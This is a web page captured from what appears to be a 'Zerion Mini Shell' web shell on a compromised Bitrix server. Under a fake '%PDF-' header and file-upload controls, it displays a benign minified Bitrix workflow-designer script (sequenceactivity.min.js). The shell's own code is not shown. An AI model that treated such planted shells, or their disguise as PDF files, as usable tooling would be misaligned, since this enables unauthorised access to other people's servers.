%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/bitrix/www/bitrix/activities/bitrix/sequenceactivity/
Upload File :
Create Path :
Current File : //home/bitrix/www/bitrix/activities/bitrix/sequenceactivity/sequenceactivity.min.js

var _SequenceActivityCurClick=null;function _SequenceActivityClick(i,e){_SequenceActivityCurClick.AddActivity(CreateActivity({Properties:{Title:HTMLEncode(arAllActivities[i]["NAME"])},Type:arAllActivities[i]["CLASS"],Children:[]}),e)}function _SequenceActivityMyActivityClick(i,e){if(arUserParams&&BX.type.isArray(arUserParams["SNIPPETS"])&&arUserParams["SNIPPETS"][i]){_SequenceActivityCurClick.AddActivity(CreateActivity(arUserParams["SNIPPETS"][i]),e)}}SequenceActivity=function(){var i=new BizProcActivity;i.Type="SequenceActivity";i.childsContainer=null;i.iHead=0;i.LineMouseOver=function(i){this.parentNode.style.backgroundImage="url(/bitrix/images/bizproc/arr_over.gif)"};i.LineMouseOut=function(i){this.parentNode.style.backgroundImage="url(/bitrix/images/bizproc/arr.gif)"};i.OnClick=function(e){_SequenceActivityCurClick=i;var t=[];var r,n;for(r in arAllActGroups){n=[];for(var a in arAllActivities){if(!arAllActivities.hasOwnProperty(a))continue;if(arAllActivities[a]["EXCLUDED"]||!arAllActivities[a]["CATEGORY"])continue;var c=arAllActivities[a]["CATEGORY"]["ID"];if(arAllActivities[a]["CATEGORY"]["OWN_ID"])c=arAllActivities[a]["CATEGORY"]["OWN_ID"];if(c!=r)continue;if(a=="setstateactivity"&&rootActivity.Type==i.Type)continue;n.push({ICON:"url("+arAllActivities[a]["ICON"]+")",TEXT:'<img src="'+(arAllActivities[a]["ICON"]?arAllActivities[a]["ICON"]:"/bitrix/images/bizproc/act_icon.gif")+'" align="left" style="margin-right: 7px;margin-left: 0px">'+"<b>"+HTMLEncode(arAllActivities[a]["NAME"])+"</b><br>"+HTMLEncode(arAllActivities[a]["DESCRIPTION"]),ONCLICK:"_SequenceActivityClick('"+a+"', "+this.ind+");"})}if(r==="rest"&&BX.getClass("BX.rest.Marketplace")){n.push({ICON:"url(/bitrix/images/bizproc/act_icon_plus.png)",TEXT:'<img src="/bitrix/images/bizproc/act_icon_plus.png" align="left" style="margin-right: 7px;margin-left: 0px">'+"<b>"+HTMLEncode(BPMESS["BPSA_MARKETPLACE_ADD_TITLE"])+"</b><br>"+HTMLEncode(BPMESS["BPSA_MARKETPLACE_ADD_DESCR"]),ONCLICK:"BX.rest.Marketplace.open({}, 'auto_pb'); if(window.jsPopup_WFAct) {window.jsPopup_WFAct.PopupHide();}"})}if(n.length>0)t.push({TEXT:HTMLEncode(arAllActGroups[r]),MENU:n})}if(arUserParams&&BX.type.isArray(arUserParams["SNIPPETS"])){n=[];for(var l in arUserParams["SNIPPETS"]){if(!arUserParams["SNIPPETS"].hasOwnProperty(l)){continue}var o=arUserParams["SNIPPETS"][l]["Icon"];if(!o){o="/bitrix/images/bizproc/act_icon.gif"}var s=arUserParams["SNIPPETS"][l]["Properties"]["Title"];n.push({ICON:"url("+o+")",TEXT:'<img src="'+o+'" align="left" style="margin-right: 7px;margin-left: 0px">'+"<b>"+HTMLEncode(s)+"</b>",ONCLICK:"_SequenceActivityMyActivityClick('"+l+"', "+this.ind+");"})}if(n.length>0)t.push({TEXT:HTMLEncode(BPMESS["BPSA_MY_ACTIVITIES"]),MENU:n})}if(window.jsPopup_WFAct)window.jsPopup_WFAct.PopupHide();else window.jsPopup_WFAct=new PopupMenu("PopupWFAct",3e4);window.jsPopup_WFAct.ShowMenu(this,t)};i.lastDrop=false;i.ondragging=function(e,t,r){if(!i.childsContainer)return false;for(var n=0;n<=i.childActivities.length;n++){var a=i.childsContainer.rows[n*2+i.iHead].cells[0].childNodes[0];var c=BX.pos(a);if(c.left<t&&t<c.right&&c.top<r&&r<c.bottom){a.onmouseover();i.lastDrop=a;return}}if(i.lastDrop){i.lastDrop.onmouseout();i.lastDrop=false}};i.h1id=DragNDrop.AddHandler("ondragging",i.ondragging);i.ondrop=function(e,t,r){if(!i.childsContainer)return false;if(i.lastDrop){var n;if(DragNDrop.obj.parentActivity&&r.ctrlKey==false){var a,c=-1,l=DragNDrop.obj.parentActivity;for(a=0;a<l.childActivities.length;a++){if(l.childActivities[a].Name==DragNDrop.obj.Name){c=a;break}}if(l.Name!=i.Name||c!=i.lastDrop.ind&&c+1!=i.lastDrop.ind){var o=i,s=false;while(o){if(DragNDrop.obj.Name==o.Name){s=true;break}o=o.parentActivity}if(s){alert(BPMESS["BPSA_ERROR_MOVE"])}else{l.childsContainer.deleteRow(c*2+1+l.iHead);l.childsContainer.deleteRow(c*2+1+l.iHead);for(var d=c;d<l.childActivities.length-1;d++)l.childActivities[d]=l.childActivities[d+1];l.childActivities.pop();for(d=0;d<=l.childActivities.length;d++)l.childsContainer.rows[d*2+l.iHead].cells[0].childNodes[0].ind=d;n=DragNDrop.obj;i.AddActivity(n,i.lastDrop.ind)}}}else{n=CreateActivity(DragNDrop.obj);i.AddActivity(n,i.lastDrop.ind)}i.lastDrop.onmouseout();i.lastDrop=false}};i.h2id=DragNDrop.AddHandler("ondrop",i.ondrop);i.ActivityRemoveChild=i.RemoveChild;i.RemoveChild=function(e){var t,r;for(t=0;t<i.childActivities.length;t++){if(i.childActivities[t].Name==e.Name){if(i.childsContainer){i.childsContainer.rows[t*2+1+i.iHead].cells[0].childNodes[0].onmouseover=null;i.childsContainer.rows[t*2+1+i.iHead].cells[0].childNodes[0].onmouseout=null;i.childsContainer.rows[t*2+1+i.iHead].cells[0].childNodes[0].onclick=null}i.ActivityRemoveChild(e);if(i.childsContainer){i.childsContainer.deleteRow(t*2+1+i.iHead);i.childsContainer.deleteRow(t*2+1+i.iHead);for(r=0;r<=i.childActivities.length;r++)i.childsContainer.rows[r*2+i.iHead].cells[0].childNodes[0].ind=r}break}}};i.RemoveResources=function(e){DragNDrop.RemoveHandler("ondragging",i.h1id);DragNDrop.RemoveHandler("ondrop",i.h2id);if(i.childsContainer&&i.childsContainer.parentNode){i.childsContainer.parentNode.removeChild(i.childsContainer);i.childsContainer=null}};i.AddActivity=function(e,t){var r;for(r=i.childActivities.length;r>t;r--)i.childActivities[r]=i.childActivities[r-1];i.childActivities[t]=e;e.parentActivity=i;var n=i.childsContainer.insertRow(t*2+1+i.iHead).insertCell(-1);n.align="center";n.vAlign="center";e.Draw(n);n=i.childsContainer.insertRow(t*2+2+i.iHead).insertCell(-1);n.align="center";n.vAlign="center";i.CreateLine(t+1);for(r=0;r<=i.childActivities.length;r++)i.childsContainer.rows[r*2+i.iHead].cells[0].childNodes[0].ind=r;BPTemplateIsModified=true};i.CreateLine=function(e){i.childsContainer.rows[e*2+i.iHead].cells[0].style.height="40px";i.childsContainer.rows[e*2+i.iHead].cells[0].style.background="url(/bitrix/images/bizproc/arr.gif) no-repeat scroll 50% 50%";var t=i.childsContainer.rows[e*2+i.iHead].cells[0].appendChild(document.createElement("IMG"));t.src="/bitrix/images/1.gif";t.width="28";t.height="21";t.onmouseover=i.LineMouseOver;t.onmouseout=i.LineMouseOut;t.onclick=i.OnClick;t.ind=e};i.ActivityDraw=i.Draw;i.Draw=function(e){i.childsContainer=e.appendChild(_crt(1+i.childActivities.length*2+i.iHead,1));i.childsContainer.className="seqactivitycontainer";i.childsContainer.id=i.Name;i.CreateLine(0);for(var t in i.childActivities){if(!i.childActivities.hasOwnProperty(t))continue;i.childActivities[t].Draw(i.childsContainer.rows[t*2+1+i.iHead].cells[0]);i.CreateLine(parseInt(t)+1)}if(i.AfterSDraw)i.AfterSDraw()};return i};

Zerion Mini Shell 1.0